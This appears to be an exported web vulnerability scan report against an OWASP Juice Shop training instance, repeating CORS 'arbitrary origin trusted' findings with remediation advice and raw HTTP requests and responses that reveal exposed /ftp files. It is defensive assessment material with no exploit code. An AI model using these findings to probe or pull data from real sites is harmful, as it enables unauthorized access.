{"challenges":["directoryListingChallenge","accessLogDisclosureChallenge","resetPasswordMortyChallenge","changeProductChallenge","registerAdminChallenge","exposedMetricsChallenge","loginAdminChallengeSnip





[bookmark: 7468492263703084032]
Cross-origin resource sharing


/tutorial.js

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /tutorial.js HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://192.168.186.128:3000

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:23:50 GMT

ETag: W/"72bd-181c9cf8770"

Content-Type: application/javascript; charset=UTF-8

Vary: Accept-Encoding

Date: Sat, 23 Jul 2022 00:40:56 GMT

Connection: close

Content-Length: 29373



"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[648],{3907:(ie,j,S)=>{S.r(j),S.d(j,{hasInstructions:()=>re,startHackingInstructorFor:()=>ne});var l=S(5861),O={"":["<em>",Snip











[bookmark: 3645908551213416448]
Cross-origin resource sharing: arbitrary origin trusted


/

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://rikcgdzrrrqp.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET / HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://rikcgdzrrrqp.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Fri, 22 Jul 2022 15:18:53 GMT

ETag: W/"7d2-182267d7748"

Content-Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:24:01 GMT

Connection: close

Content-Length: 2002



<!--
  ~ Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors.
  ~ SPDX-License-Identifier: MIT
  --><!DOCTYPE html><html lang="en"><head><base href="/">
  <meta charset="utf-8Snip





[bookmark: 4367081865654887424]
Cross-origin resource sharing: arbitrary origin trusted


/103.js

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://zhlmzigblkwj.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /103.js HTTP/1.1

Host: 192.168.186.128:3000

Origin: http://zhlmzigblkwj.com

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Cookie: language=en





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:23:50 GMT

ETag: W/"1f0f-181c9cf8770"

Content-Type: application/javascript; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:57:38 GMT

Connection: close

Content-Length: 7951



"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[103],{8103:(me,P,L)=>{L.r(P),L.d(P,{shootConfetti:()=>Y});var I={};!function f(h,M,N,p){var O=!!(h.Worker&&h.Blob&&h.PromiSnip





[bookmark: 7240984387690674176]
Cross-origin resource sharing: arbitrary origin trusted


/assets/i18n/en.json

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://wejgxbbgenue.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /assets/i18n/en.json HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:23:55 GMT

ETag: W/"6e66-181c9cf9af8"

Content-Type: application/json; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 18:03:14 GMT

Connection: close

Content-Length: 28262



{
  "LANGUAGE": "English",
  "NAV_SEARCH": "Search",
  "SEARCH_PLACEHOLDER": "Search...",
  "NAV_COMPLAIN": "Complaint",
  "TITLE_LOGIN": "Login",
  "MANDATORY_EMAIL": "Please provide an email addressSnip





[bookmark: 4117641904170610688]
Cross-origin resource sharing: arbitrary origin trusted


/ftp

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://hbkqnorsvdvu.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://hbkqnorsvdvu.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:24:01 GMT

Connection: close

Content-Length: 11053



<!DOCTYPE html>
<html>
  <head>
    <meta charset='utf-8'> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <title>listing directoSnip





[bookmark: 6466075968298276864]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://gpoqshbukzgy.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/ HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://gpoqshbukzgy.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:23:44 GMT

Connection: close

Content-Length: 11014



<!DOCTYPE html>
<html>
  <head>
    <meta charset='utf-8'> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <title>listing directoSnip





[bookmark: 4166755003328835584]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/acquisitions.md

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://lualufbeolrs.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/acquisitions.md HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://lualufbeolrs.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"38d-181c9ca8630"

Content-Type: text/markdown; charset=UTF-8

Content-Length: 909

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:02 GMT

Connection: close



# Planned Acquisitions

> This document is confidential! Do not distribute!

Our company plans to acquire several competitors within the next year.
This will have a significant stock market impact as Snip





[bookmark: 1576080803886190592]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/announcement_encrypted.md

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://uuhazddhcuaf.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/announcement_encrypted.md HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://uuhazddhcuaf.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"5a255-181c9ca8630"

Content-Type: text/markdown; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:31 GMT

Connection: close

Content-Length: 369237



10109057449711827825422613771001753663977376585715365973860569540807292892191071158265975906410389516334491006158026789153878093873732767389797297869967413901324069466667721969022500559799179102134209Snip





[bookmark: 1513612989554089984]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/coupons_2013.md.bak

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://ksiscxeouqpz.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/coupons_2013.md.bak HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://ksiscxeouqpz.com





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:24:35 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 4436923986470292480]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/eastere.gg

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://ybiwjuqkknpb.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/eastere.gg HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://ybiwjuqkknpb.com





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:02 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 2904336631575653376]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/encrypt.pyc

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://ufszuezbcznb.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/encrypt.pyc HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://ufszuezbcznb.com





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:02 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 5671486398728228864]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/incident-support.kdbx

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://ycrrifmvvpuu.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/incident-support.kdbx HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://ycrrifmvvpuu.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"cae-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 3246

Date: Fri, 22 Jul 2022 17:25:16 GMT

Connection: close
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[bookmark: 7601471163270524928]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/legal.md

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://knjvwccaujst.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


